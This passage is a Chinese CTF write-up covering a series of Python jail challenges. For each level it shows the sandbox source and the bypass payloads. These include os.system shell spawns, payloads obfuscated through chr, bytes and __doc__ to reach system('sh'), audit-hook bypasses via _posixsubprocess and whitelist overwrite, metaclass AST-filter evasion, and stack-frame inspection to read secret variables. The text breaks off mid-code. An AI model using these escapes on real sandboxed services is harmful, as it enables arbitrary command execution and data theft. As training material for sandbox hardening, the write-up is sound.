由于Python3中的unicode特性,所以也会见到unicode碰撞的题目,因此利用下面脚本可以获取一些常用的碰撞unicode。
1 2 3 4 5 6 7 8 9 10 11 12 13 from unicodedata import normalize from string import ascii_lowercase from collections import defaultdict lst = list(ascii_lowercase) dic = defaultdict(list) for char in lst: for i in range(0x110000): if normalize("NFKC", chr(i)) == char: dic[char].append(chr(i)) if len(dic[char]) > 9: break print(dic)
calc_jail_beginner(basic) server.py
1 2 input_data = input("> ") print('Answer: {}'.format(eval(input_data)))
payload
1 2 __import__('os').system('cat flag') open('flag').read()
server.py
1 2 input_data = input("> ") print input_data
payload
1 __import__("os").system("cat flag")
calc_jail_beginner_level1(字符过滤) server.py
1 2 3 4 5 6 7 8 9 def filter(s): not_allowed = set('"\'`ib') # "、'、`、i、b被过滤 return any(c in not_allowed for c in s) input_data = input("> ") if filter(input_data): print("Oh hacker!") exit(0) print('Answer: {}'.format(eval(input_data)))
exp
1 2 3 4 5 a = "__import__('os').system('cat flag')" exp = "" for i in a: exp += f"chr({ord(i)})+" print(f"eval({exp[:-1]})")
payload
1 2 3 open(chr(102)+chr(108)+chr(97)+chr(103)).read() eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(99)+chr(97)+chr(116)+chr(32)+chr(102)+chr(108)+chr(97)+chr(103)+chr(39)+chr(41))
calc_jail_beginner_level2(长度限制) server.py
1 2 3 4 5 input_data = input("> ") if len(input_data)>13: print("Oh hacker!") exit(0) print('Answer: {}'.format(eval(input_data)))
payload
1 2 eval(input()) __import__("os").system("cat flag")
calc_jail_beginner_level2.5(关键字匹配,长度限制) server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 def filter(s): BLACKLIST = ["exec","input","eval"] for i in BLACKLIST: if i in s: print(f'{i!r} has been banned for security reasons') exit(0) input_data = input("> ") filter(input_data) if len(input_data)>13: print("Oh hacker!") exit(0) print('Answer: {}'.format(eval(input_data)))
payload
1 2 3 4 5 breakpoint() __import__('os').system('cat flag') 𝓮val(inp𝓾t()) # unicode __import__('os').system('cat flag')
calc_jail_beginner_level3(长度限制) server.py
1 2 3 4 5 input_data = input("> ") if len(input_data)>7: print("Oh hacker!") exit(0) print('Answer: {}'.format(eval(input_data)))
payload
lake lake lake(长度限制,获取全局变量) server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]" def func(): code = input(">") if(len(code)>9): return print("you're hacker!") try: print(eval(code)) except: pass def backdoor(): print("Please enter the admin key") key = input(">") if(key == fake_key_var_in_the_local_but_real_in_the_remote): code = input(">") try: print(eval(code)) except: pass else: print("Nooo!!!!") print("Now the program has two functions") print("can you use dockerdoor") print("1.func") print("2.backdoor") input_data = input("> ") if(input_data == "1"): func() exit(0) elif(input_data == "2"): backdoor() exit(0) else: print("not found the choice") exit(0)
两个通道1和2,根据题目提示,经尝试发现大概意思是走1获取通关的key,然后拿着key进入2进行验证key,验证成功即可随便输入。
下面来实现
先走1,使用globals()获取全局的变量 得到key为a34af94e88aed5c34fb5ccfe08cd14ab 然后进入2,执行任意命令
payload
1 2 3 4 5 6 7 8 9 10 11 1 globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f090e9a0ac0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/ctf/./server.py', '__cached__': None, 'key_9b1d015375213e21': 'a34af94e88aed5c34fb5ccfe08cd14ab', 'func': <function func at 0x7f090eb3fd90>, 'backdoor': <function backdoor at 0x7f090ea01fc0>, 'WELCOME': '\n'} 2 a34af94e88aed5c34fb5ccfe08cd14ab __import__("os").system('cat flag')
l@ke l@ke l@ke()(长度限制,获取全局变量) server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]" def func(): code = input(">") if(len(code)>6): return print("you're hacker!") try: print(eval(code)) except: pass def backdoor(): print("Please enter the admin key") key = input(">") if(key == fake_key_var_in_the_local_but_real_in_the_remote): code = input(">") try: print(eval(code)) except: pass else: print("Nooo!!!!") print("Now the program has two functions") print("can you use dockerdoor") print("1.func") print("2.backdoor") input_data = input("> ") if(input_data == "1"): func() exit(0) elif(input_data == "2"): backdoor() exit(0) else: print("not found the choice") exit(0)
还是两步走,通道1,长度不超过6来获取key,通道2验证key
对于通道1,我们调用help()进入函数,输入server查看key 拿到key:95c720690c2c83f0982ffba63ff87338 进入backdoor,执行命令
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 1 help() server 1 help() server 2 95c720690c2c83f0982ffba63ff87338 __import__("os").system('cat flag')
第一次 help() 中查看 server 时,环境变为 server.py,此时可以查看变量
calc_jail_beginner_level4()(模块删除) server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr'] eval_func = eval for m in BANLIST: del __builtins__.__dict__[m] del __loader__, __builtins__ def filter(s): not_allowed = set('"\'`') return any(c in not_allowed for c in s) input_data = input("> ") if filter(input_data): print("Oh hacker!") exit(0) print('Answer: {}'.format(eval_func(input_data)))
chr被ban了,所以字符串构造就要换一种方式了,使用bytes([]).decode() payload为open(“flag”).read()
payload
1 open(bytes([102, 108, 97, 103]).decode()).read() # flag
calc_jail_beginner_level4.0.5(字符过滤,模块删除) server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr', 'input','locals','globals'] my_eval_func_0002321 = eval my_input_func_2309121 = input for m in BANLIST: del __builtins__.__dict__[m] del __loader__, __builtins__ def filter(s): not_allowed = set('"\'`') return any(c in not_allowed for c in s) print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,\",' Good luck!") input_data = my_input_func_2309121("> ") if filter(input_data): print("Oh hacker!") exit(0) print('Answer: {}'.format(my_eval_func_0002321(input_data)))
payload
1 2 3 open(bytes([102, 108, 97, 103]).decode()).read() [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(bytes([115])+bytes([121])+bytes([115])+bytes([116])+bytes([101])+bytes([109])).decode()]((bytes([99])+bytes([97])+bytes([116])+bytes([32])+bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode()) # system("cat flag")
calc_jail_beginner_level4.1(字符过滤,模块删除) server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes'] my_eval_func_ABDC8732 = eval my_input_func_001EC9GP = input for m in BANLIST: del __builtins__.__dict__[m] del __loader__, __builtins__ def filter(s): not_allowed = set('"\'`') return any(c in not_allowed for c in s) print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,\",' Good luck!") input_data = my_input_func_001EC9GP("> ") if filter(input_data): print("Oh hacker!") exit(0) print('Answer: {}'.format(my_eval_func_ABDC8732(input_data)))
方法1: ban了bytes ,得换一种方法获取bytes了,可以用type来获取bytes 而且根据提示可知需要查文件,因此这题flag肯定不是flag了,需要执行ls查看文件名。 先说明一下bytes和type的关系:
1 2 3 4 5 6 7 bytes = type(str(1).encode()) "system" == (type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode() <class 'os._wrap_close'> == [].__class__.__mro__[-1].__subclasses__()[-4] # 执行system(???) [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()](???)
system(‘ls’)
1 [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()]((type(str(1).encode())([108])+type(str(1).encode())([115])).decode())
方法2: 利用Show subclasses with tuple找到bytes类:
1 2 > ().__class__.__base__.__subclasses__() Answer: [<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>....
可发现bytes类的索引是6。所以有
1 ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())
方法3: 利用__doc__
1 ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56])
方法4:
1 2 3 my_eval_func_ABDC8732(my_input_func_001EC9GP()) ().__class__.__base__.__subclasses__()[137].__init__.__globals__['system']("sh") cat f*
calc_jail_beginner_level4.2(字符过滤,模块删除) server.py
1 Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!
方法1: 可见byte 、加号都被ban了,我们用.__add__来替换加号,然后仍然用上一题的方法去构造system(“ls”)然后cat flag
1 [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115]).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([115])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([101])).__add__(type(str(1).encode())([109]))).decode()]((type(str(1).encode())([108]).__add__(type(str(1).encode())([115]))).decode())
写个脚本自动生成字符串
1 2 3 4 5 6 7 8 9 lst = [] for i in "cat flag_y0u_CaNt_FiNd_mE": lst.append(f"type(str(1).encode())([{ord(i)}])") print("("+lst.pop(0),end='') for i in lst: print(f".__add__({i})",end='') print(").decode()")
得到
1 (type(str(1).encode())([99]).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([32])).__add__(type(str(1).encode())([102])).__add__(type(str(1).encode())([108])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([103])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([48])).__add__(type(str(1).encode())([117])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([67])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([70])).__add__(type(str(1).encode())([105])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([100])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([109])).__add__(type(str(1).encode())([69]))).decode()
然后执行
1 [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115]).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([115])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([101])).__add__(type(str(1).encode())([109]))).decode()]((type(str(1).encode())([99]).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([32])).__add__(type(str(1).encode())([102])).__add__(type(str(1).encode())([108])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([103])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([48])).__add__(type(str(1).encode())([117])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([67])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([70])).__add__(type(str(1).encode())([105])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([100])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([109])).__add__(type(str(1).encode())([69]))).decode())
方法2:
1 ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())
方法3: 还是利用__doc__的方法但需要改变字符串的拼接方法:除了直接用+连接字符串以外,还有一种常用的方法,如字符串’1234’可以用如下的方式得到
1 ''.join(['1', '2', '3', '4'])
但是我们需要绕过一开始的’’,直接用str()
1 ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))
calc_jail_beginner_level4.3(字符过滤,模块删除) server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes','type','open'] my_eval_func_002EFCDB = eval my_input_func_000FDCAB = input for m in BANLIST: del __builtins__.__dict__[m] del __loader__, __builtins__ def filter(s): not_allowed = set('"\'`+') return any(c in not_allowed for c in s) def main(): input_data = my_input_func_000FDCAB("> ") if filter(input_data): print("Oh hacker!") exit(0) print('Answer: {}'.format(my_eval_func_002EFCDB(input_data))) if __name__ == '__main__': main()
方法1: ban了type,但是又学到了一招list(dict(system=114514))[0]可以获取system这个字符串 因此直接执行system(sh)
1 [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[list(dict(system=1))[0]](list(dict(sh=1))[0])
方法2:
1 ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())
方法3:
1 ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))
方法4:
1 ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[[i for i in ().__class__.__base__.__subclasses__()[-4].__init__.__globals__].pop(47)](().__class__.__base__.__subclasses__()[6]([99, 97, 116, 32, 42]).decode())
Deepseek解释
1 2 3 4 5 6 7 8 9 10 11 ( ().__class__.__base__.__subclasses__()[-4] # 定位到包含 os 模块的类(如 warnings.catch_warnings) .__init__.__globals__ # 获取该类的全局变量字典(含 os 模块) [ [i for i in ...].pop(47) # 提取键名(如 'os') ] # 获取 os 模块 )( ().__class__.__base__.__subclasses__()[6]( # 创建 bytes 对象(通过 bytearray 类) [99, 97, 116, 32, 42] # 字节码对应 "cat *" ).decode() # 解码为字符串 ) # 执行 os.system("cat *")
calc_jail_beginner_level5(dir) server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 import load_flag flag = load_flag.get_flag() def main(): print("Seems flag into the dir()") repl() def repl(): my_global_dict = dict() my_global_dict['my_flag'] = flag input_code = input("> ") complie_code = compile(input_code, '<string>', 'single') exec(complie_code, my_global_dict) if __name__ == '__main__': main()
load_flag.py
1 2 3 4 5 6 7 8 9 10 11 class secert_flag(str): def __repr__(self) -> str: return "DELETED" def __str__(self) -> str: return "DELETED" class flag_level5: def __init__(self, flag: str): setattr(self, 'flag_level5', secert_flag(flag)) def get_flag(): with open('flag') as f: return flag_level5(f.read())
payload
1 2 3 4 5 6 7 8 ''.join(my_flag.flag_level5) breakpoint() __import__('os').system('cat *') my_flag.flag_level5.index('NSSCTF{*') #爆破 open("flag").read()
calc_jail_beginner_level5.1(dir) 根据尝试,__import__和open都给ban了
提示dir()
1 2 > dir() ['__builtins__', 'my_flag']
看到有个my_flag,使用dir跟进
1 2 > dir(my_flag) ['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'flag_level5']
发现有个encode方法,直接调用即可
1 2 > my_flag.flag_level5.encode() b'flag=NSSCTF{f9e51524-8c5a-4a06-a42b-4b7788fbc123}\n'
calc_jail_beginner_level6(audit hook) server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import sys def my_audit_hook(my_event, _): WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'}) if my_event not in WHITED_EVENTS: raise RuntimeError('Operation not permitted: {}'.format(my_event)) def my_input(): dict_global = dict() while True: try: input_data = input("> ") except EOFError: print() break except KeyboardInterrupt: print('bye~~') continue if input_data == '': continue try: complie_code = compile(input_data, '<string>', 'single') except SyntaxError as err: print(err) continue try: exec(complie_code, dict_global) except Exception as err: print(err) def main(): print("White list of audit hook ===> builtins.input,builtins.input/result,exec,compile") my_input() if __name__ == "__main__": sys.addaudithook(my_audit_hook) main()
payload
非预期
1 __builtins__["__loader__"].load_module("_posixsubprocess").fork_exec([b"/usr/bin/cat", "flag"], [b"/usr/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__builtins__["__loader__"].load_module('os').pipe()), False, False, None, None, None, -1, None) # 利用_posixsubprocess执行命令
预期
1 exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('cat flag')") # 修改白名单
calc_jail_beginner_level6.1(audit hook) server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import sys def my_audit_hook(my_event, _): WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'}) if my_event not in WHITED_EVENTS: raise RuntimeError('Operation not permitted: {}'.format(my_event)) def main(): dict_global = dict() input_code = input("> ") complie_code = compile(input_code, '<string>', 'single') exec(complie_code, dict_global) if __name__ == "__main__": sys.addaudithook(my_audit_hook) main()
没看懂跟上题有什么区别
payload
1 2 3 __builtins__["__loader__"].load_module("_posixsubprocess").fork_exec([b"/usr/bin/cat", "flag"], [b"/usr/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__builtins__["__loader__"].load_module('os').pipe()), False, False, None, None, None, -1, None) # 利用_posixsubprocess执行命令 exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('cat flag')") # 修改白名单
calc_jail_beginner_level7(ast沙箱) server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import ast import sys import os def verify_ast_secure(m): for x in ast.walk(m): match type(x): case (ast.Import|ast.ImportFrom|ast.Call|ast.Expr|ast.Add|ast.Lambda|ast.FunctionDef|ast.AsyncFunctionDef|ast.Sub|ast.Mult|ast.Div|ast.Del): print(f"ERROR: Banned statement {x}") return False return True def exexute_code(my_source_code): print("Pls input your code: (last line must contain only --HNCTF)") while True: line = sys.stdin.readline() if line.startswith("--HNCTF"): break my_source_code += line tree_check = compile(my_source_code, "input_code.py", 'exec', flags=ast.PyCF_ONLY_AST) if verify_ast_secure(tree_check): print("check is passed!now the result is:") compiled_code = compile(my_source_code, "input_code.py", 'exec') exec(compiled_code) print("Press any key to continue") sys.stdin.readline() while True: os.system("clear") print(WELCOME) print("=================================================================================================") print("== Welcome to the calc jail beginner level7,It's AST challenge ==") print("== Menu list: ==") print("== [G]et the blacklist AST ==") print("== [E]xecute the python code ==") print("== [Q]uit jail challenge ==") print("=================================================================================================") ans = (sys.stdin.readline().strip()).lower() if ans == 'g': print("=================================================================================================") print("== Black List AST: ==") print("== 'Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef ==") print("== Sub,Mult,Div,Del' ==") print("=================================================================================================") print("Press any key to continue") sys.stdin.readline() elif ans == 'e': my_source_code = "" exexute_code(my_source_code) elif ans == 'q': print("Bye") quit() else: print("Unknown options!") quit()
按G发现转为AST后不能含有以下内容:
1 2 3 4 5 6 G ================================================================================================= == Black List AST: == == 'Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef == == Sub,Mult,Div,Del' == =================================================================================================
虽然没有了import和call,但有一个魔术方法metaclass。 其中有个知识点:可以通过metaclass给类添加属性。 猜测一下,既然能添加类的属性,那是否可以修改呢?也就是说如果我们将一个类的某一个属性修改为os.system这样的函数,那么这样一来在我们调用的时候就可以执行了。现在的问题是需要一个可以传入字符串的属性,发现正好__getitem__符合条件。
__getitem__是用来取列表或者字典的值的一个属性,如果我们将一个类的__getitem__改为os.system的话就可以执行shell了
举个例子:
1 2 3 4 5 6 import os class WOOD(): pass WOOD.__getitem__=os.system WOOD()['ls']
运行后发现执行了ls但这样依然无法解决这个题,如果我们将上述代码转为AST查看,会发现有Call和Expr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import ast src=''' import os class WOOD(): pass WOOD.__getitem__=os.system WOOD()['ls'] ''' ast_node = ast.parse(src, "test", mode="exec") print(ast.dump(ast_node)) """ Module(body=[Import(names=[alias(name='os', asname=None)]), ClassDef(name='WOOD', bases=[], keywords=[], body=[Pass()], decorator_list=[]), Assign(targets=[Attribute(value=Name(id='WOOD', ctx=Load()), attr='__getitem__', ctx=Store())], value=Attribute(value=Name(id='os', ctx=Load()), attr='system', ctx=Load()), type_comment=None), Expr(value=Subscript(value=Call(func=Name(id='WOOD', ctx=Load()), args=[], keywords=[]), slice=Index(value=Constant(value='ls', kind=None)), ctx=Load()))], type_ignores=[]) """
对于如何避开Expr,我们给执行的内容赋值就行。
如何绕过Call?可以用metaclass,我们指定一个类的__getitem__==os.system,使用mateclass可以让类拥有属性,但不是类生成的对象具有这个属性,这样我们就不用调用实例化类的Call,从而进行绕过Call。
因此最终payload为:
1 2 3 4 5 6 7 8 9 10 e class WOOD(type): __getitem__=os.system class WHALE(metaclass=WOOD): pass tmp = WHALE['sh'] --HNCTF cat flag
另一个payload
1 2 3 4 5 6 7 8 9 e @exec @input class A: pass --HNCTF __import__('os').system('cat flag')
laKe laKe laKe(audit hook,print无法输出) server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import random from io import StringIO import sys sys.addaudithook BLACKED_LIST = ['compile', 'eval', 'exec', 'open'] eval_func = eval open_func = open for m in BLACKED_LIST: del __builtins__.__dict__[m] def my_audit_hook(event, _): BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'}) if event in BALCKED_EVENTS: raise RuntimeError('Operation banned: {}'.format(event)) def guesser(): game_score = 0 sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ') sys.stdout.flush() right_guesser_question_answer = random.randint(1, 9999999999999) sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout try: input_data = eval_func(input(''),{},{}) except Exception: sys.stdout = challenge_original_stdout print("Seems not right! please guess it!") return game_score sys.stdout = challenge_original_stdout if input_data == right_guesser_question_answer: game_score += 1 return game_score def main(): game_score = guesser() if game_score == 1: print('you are really super guesser!!!!') print(open_func('flag').read()) else: print('Guess game end!!!') if __name__ == '__main__': sys.addaudithook(my_audit_hook) main()
这题又是个非预期,原因是没有ban open
上来就hook了大部分函数
1 2 3 4 def my_audit_hook(event, _): BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'}) if event in BALCKED_EVENTS: raise RuntimeError('Operation banned: {}'.format(event))
分析一下关键猜数字的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def guesser(): game_score = 0 sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ') sys.stdout.flush() right_guesser_question_answer = random.randint(1, 9999999999999) sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout try: input_data = eval_func(input(''),{},{}) except Exception: sys.stdout = challenge_original_stdout print("Seems not right! please guess it!") return game_score sys.stdout = challenge_original_stdout if input_data == right_guesser_question_answer: game_score += 1 return game_score
可知我们需要猜出right_guesser_question_answer才可以获取flag,同时还给sys.stdout、sys.seterr进行了重定向,调用print无法输出。
但是可以通过__import__(“sys”).__stdout__.write()去输入。
那么我们的思路就是,读文件,然后输出
用os.open打开文件,然后用os.read读文件,当然也可以用__import__(‘io’).open(“flag”).read()
1 __import__("sys").__stdout__.write(__import__("os").read(__import__("os").open("flag",__import__("os").O_RDONLY), 0x114).decode())
另一个payload
1 list(__import__('sys')._getframe(1).f_locals.values())[1]
lak3 lak3 lak3(audit hook,print无法输出,栈帧) server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import random from io import StringIO import sys sys.addaudithook BLACKED_LIST = ['compile', 'eval', 'exec'] eval_func = eval open_func = open for m in BLACKED_LIST: del __builtins__.__dict__[m] def my_audit_hook(event, _): BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen','code.__new__','function.__new__','cpython._PySys_ClearAuditHooks','open'}) if event in BALCKED_EVENTS: raise RuntimeError('Operation banned: {}'.format(event)) def guesser(): game_score = 0 sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ') sys.stdout.flush() right_guesser_question_answer = random.randint(1, 9999999999999) sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout try: input_data = eval_func(input(''),{},{}) except Exception: sys.stdout = challenge_original_stdout print("Seems not right! please guess it!") return game_score sys.stdout = challenge_original_stdout if input_data == right_guesser_question_answer: game_score += 1 return game_score def main(): game_score = guesser() if game_score == 1: print('you are really super guesser!!!!') print('flag{fake_flag_in_local_but_really_in_The_remote}') else: print('Guess game end!!!') if __name__ == '__main__': sys.addaudithook(my_audit_hook) main()
这个厉害了,上来直接把io、system之类的函数全给hook掉了,还把上一题的open等更多的函数给ban了
1 2 3 4 def my_audit_hook(event, _): BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen','code.__new__','function.__new__','cpython._PySys_ClearAuditHooks','open'}) if event in BALCKED_EVENTS: raise RuntimeError('Operation banned: {}'.format(event))
依然是需要猜对数字才能获取flag
正确答案在right_guesser_question_answer里面。但如何获取该值呢?
搜索了好多信息,最后在官方文档里找到一个很6的函数
居然还可以获取调用栈的帧对象,默认的参数是0,但是在这里如果传入0的话就会获取eval的调用栈帧,所以得deep一层
1 __import__("sys")._getframe(1)
我们试试看是啥情况,有个小技巧,可以使用__import__(“sys”).__stdout__.write去进行标准输出,这也是上一个非预期的输出方法。
1 2 3 4 5 __import__("sys").__stdout__.write(str(__import__('sys')._getframe(1))) Welcome to my guesser game! Can u guess the number? between 1 and 9999999999999 > __import__("sys").__stdout__.write(str(__import__('sys')._getframe(1))) <frame at 0x7f00ab5e1590, file '/home/ctf/./server.py', line 31, code guesser>Guess game end!!!
这里的frame对象指向了’/home/ctf/./server.py’这个file,那么直接调用f_locals属性查看变量
1 2 3 4 5 __import__("sys").__stdout__.write(str(__import__('sys')._getframe(1).f_locals)) Welcome to my guesser game! Can u guess the number? between 1 and 9999999999999 > __import__("sys").__stdout__.write(str(__import__('sys')._getframe(1).f_locals)) {'game_score': 0, 'right_guesser_question_answer': 4392334357835, 'challenge_original_stdout': <_io.TextIOWrapper name='<stdout>' mode='w' encoding='utf-8'>}Guess game end!!!
我们可以看到获取到了right_guesser_question_answer的值,所以最后的payload为:
1 int(str(__import__('sys')._getframe(1).f_locals["right_guesser_question_answer"]))
另一个payload
1 list(__import__('sys')._getframe(1).f_locals.values())[1]
s@Fe safeeval(匿名函数) server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 import os import sys import traceback import pwnlib.util.safeeval as safeeval # https://github.com/Gallopsled/pwntools/blob/ef698d4562024802be5cc3e2fa49333c70a96662/pwnlib/util/safeeval.py#L3 _const_codes = [ 'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP', 'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET', 'BUILD_CONST_KEY_MAP', 'BUILD_STRING', 'LOAD_CONST','RETURN_VALUE','STORE_SUBSCR', 'STORE_MAP', 'LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE', 'DICT_UPDATE', 'DICT_MERGE', ] _expr_codes = _const_codes + [ 'UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT', 'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY', 'BINARY_DIVIDE','BINARY_FLOOR_DIVIDE','BINARY_TRUE_DIVIDE', 'BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT', 